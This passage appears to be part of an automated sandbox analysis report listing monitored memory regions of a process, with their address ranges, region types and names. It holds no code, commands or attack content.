start_va = 0xbd70000 end_va = 0xc1d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4847 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4848 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4849 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4850 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4851 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4852 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4853 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4854 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4855 start_va = 0x9870000 end_va = 0x9cd2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4856 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4857 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4858 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4859 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4860 start_va = 0xbd70000 end_va = 0xc1d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4861 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4862 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4863 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4864 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4865 start_va = 0x9870000 end_va = 0x9cccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4866 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4867 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4868 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4869 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4870 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4871 start_va = 0xbd70000 end_va = 0xc1d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4872 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4873 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4874 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4875 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4876 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4877 start_va = 0x9870000 end_va = 0x9cd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4878 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4879 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4880 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4881 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4882 start_va = 0xbd70000 end_va = 0xc1d5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4883 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4884 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4885 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4886 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4887 start_va = 0x9870000 end_va = 0x9cdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4888 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4889 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4890 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4891 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4892 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4893 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4894 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4895 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4896 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4897 start_va = 0xbd70000 end_va = 0xc1ddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4898 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4899 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4900 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4901 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4902 start_va = 0x9870000 end_va = 0x9cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4903 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4904 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4905 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4906 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4907 start_va = 0xbd70000 end_va = 0xc1e4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4908 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4909 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4910 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4911 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4912 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4913 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4914 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4915 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4916 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4917 start_va = 0x9870000 end_va = 0x9ce3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4918 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4919 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4920 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4921 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4922 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4923 start_va = 0xbd70000 end_va = 0xc1ebfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4924 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4925 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4926 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4927 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4928 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4929 start_va = 0x9870000 end_va = 0x9cebfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4930 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4931 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4932 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4933 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4934 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4935 start_va = 0xbd70000 end_va = 0xc1f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4936 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4937 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4938 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4939 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4940 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4941 start_va = 0x9870000 end_va = 0x9cf6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4942 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4943 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4944 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4945 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4946 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4947 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4948 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4949 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4950 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4951 start_va = 0xbd70000 end_va = 0xc1f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4952 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4953 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4954 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4955 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4956 start_va = 0x9870000 end_va = 0x9cfdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4957 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4958 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4959 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4960 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4961 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4962 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4963 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4964 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4965 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4966 start_va = 0xbd70000 end_va = 0xc1e9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bd70000" filename = "" Region: id = 4967 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4968 start_va = 0x2480000 end_va = 0x2480fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4969 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4970 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4971 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4972 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4973 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4974 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4975 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4976 start_va = 0x24a0000 end_va = 0x24a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4977 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4978 start_va = 0x24b0000 end_va = 0x24cbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 4979 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4980 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4981 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4982 start_va = 0x24b0000 end_va = 0x24cbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 4983 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4984 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4998 start_va = 0x7df5ffb10000 end_va = 0x7df5ffeb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 5001 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5002 start_va = 0x24b0000 end_va = 0x24cbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 5005 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5006 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5030 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5031 start_va = 0x24b0000 end_va = 0x24cbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 5032 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5033 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5052 start_va = 0x1e50000 end_va = 0x1e50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5053 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5054 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5055 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5056 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5064 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5065 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5066 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5068 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5073 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5074 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5075 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5076 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5079 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5080 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5081 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5082 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5094 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5095 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5096 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5097 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5102 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5103 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5104 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5105 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5106 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5107 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5108 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5109 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5110 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5111 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5112 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5113 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5116 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5117 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5118 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 5119 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 5120 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5121 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 5122 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" 